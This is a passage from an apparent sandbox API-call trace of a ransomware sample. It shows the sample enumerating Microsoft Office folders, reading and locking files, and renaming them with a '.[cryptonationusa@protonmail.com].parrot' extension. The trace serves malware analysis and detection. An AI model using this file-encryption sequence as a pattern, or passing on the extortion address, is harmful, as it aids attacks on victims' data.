lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0182.861] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.861] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x40188, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x40188, lpOverlapped=0x0) returned 1 [0182.871] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.886] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x402a0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.886] CloseHandle (hObject=0x27c) returned 1 [0182.887] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gb.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GB.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gb.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.904] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ce8e, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.904] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.904] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0182.906] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.906] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3cd76, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3cd76, lpOverlapped=0x0) returned 1 [0182.914] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.925] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ce8e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.926] CloseHandle (hObject=0x27c) returned 1 [0182.926] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gostname.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostName.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gostname.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.932] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3baee, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.932] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.932] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0182.936] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.937] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3b9d6, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3b9d6, lpOverlapped=0x0) returned 1 [0182.946] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.955] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3baee, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.955] CloseHandle (hObject=0x27c) returned 1 [0182.955] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gosttitle.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\GostTitle.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\gosttitle.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.961] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x40455, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.961] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.961] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0182.963] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.963] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4033d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x4033d, lpOverlapped=0x0) returned 1 [0182.975] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.990] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x40455, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0182.990] CloseHandle (hObject=0x27c) returned 1 [0182.990] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0182.997] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3ef87, nNumberOfBytesToLockHigh=0x0) returned 1 [0182.997] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0182.997] ReadFile (in: hFile=0x27c, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.001] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.001] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3ee6f, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3ee6f, lpOverlapped=0x0) returned 1 [0183.009] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.018] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3ef87, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.018] CloseHandle (hObject=0x27c) returned 1 [0183.018] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690nmerical.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\ISO690Nmerical.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\iso690nmerical.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.061] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x49169, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.062] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.062] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.066] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.066] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x49051, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x49051, lpOverlapped=0x0) returned 1 [0183.079] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.093] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x49169, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.093] CloseHandle (hObject=0x284) returned 1 [0183.094] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\mla.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\MLA.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\mla.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.101] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3be5d, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.101] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.101] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.110] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.110] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3bd45, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x3bd45, lpOverlapped=0x0) returned 1 [0183.117] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.127] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3be5d, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.127] CloseHandle (hObject=0x284) returned 1 [0183.127] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\sist02.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\SIST02.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\sist02.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.134] LockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x52b25, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.134] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.134] ReadFile (in: hFile=0x284, lpBuffer=0x18ec40, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x18ec40*, lpNumberOfBytesRead=0x18ebe4*=0x18, lpOverlapped=0x0) returned 1 [0183.135] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.135] ReadFile (in: hFile=0x284, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x52a0d, lpNumberOfBytesRead=0x18ebe4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18ebe4*=0x52a0d, lpOverlapped=0x0) returned 1 [0183.148] SetFilePointerEx (in: hFile=0x284, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.168] UnlockFile (hFile=0x284, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x52b25, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.168] CloseHandle (hObject=0x284) returned 1 [0183.168] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\turabian.xsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\TURABIAN.XSL.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\bibliography\\style\\turabian.xsl.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.177] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\Style\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0183.177] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf935e5e0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf935e5e0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.178] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9eed00, ftCreationTime.dwHighDateTime=0x1ca5c5e, ftLastAccessTime.dwLowDateTime=0x51448270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8f33f60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x5ce28, dwReserved0=0x0, dwReserved1=0x0, cFileName="APA.XSL.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="APAXSL~1.PAR")) returned 1 [0183.179] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Bibliography\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0183.179] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51422110, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xf8e03460, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xf8e03460, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.180] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x21181300, ftCreationTime.dwHighDateTime=0x1c6a343, ftLastAccessTime.dwLowDateTime=0x51767f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8ddd300, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x7a48, dwReserved0=0x0, dwReserved1=0x0, cFileName="Author2String.XSL.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="AUTHOR~1.PAR")) returned 1 [0183.180] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0183.182] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0183.182] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x58b4ce70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x69dc9750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0183.182] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0183.182] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0183.182] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x7df6, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSART1.BDR", cAlternateFileName="")) returned 1 [0183.183] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7f0e, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.183] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.183] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.185] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.185] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7df6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7df6, lpOverlapped=0x0) returned 1 [0183.187] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.188] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7f0e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.188] CloseHandle (hObject=0x280) returned 1 [0183.188] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.193] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2564, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.193] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.193] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.196] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.197] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x244c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x244c, lpOverlapped=0x0) returned 1 [0183.198] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.198] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2564, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.198] CloseHandle (hObject=0x280) returned 1 [0183.198] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.204] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x79e0, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.204] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.204] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.206] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.206] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x78c8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x78c8, lpOverlapped=0x0) returned 1 [0183.207] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.207] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x79e0, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.207] CloseHandle (hObject=0x280) returned 1 [0183.208] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.212] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xe69c, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.212] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0183.212] ReadFile (in: hFile=0x280, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0183.214] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.214] ReadFile (in: hFile=0x280, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe584, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe584, lpOverlapped=0x0) returned 1 [0183.215] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0183.217] UnlockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xe69c, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0183.217] CloseHandle (hObject=0x280) returned 1 [0183.217] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART12.BDR.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart12.bdr.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0183.221] LockFile (hFile=0x280, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6fe8, nNumberOfBytesToLockHigh=0x0) returned 1 [0183.221] SetFilePointerEx (in: hFile=0x280, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, 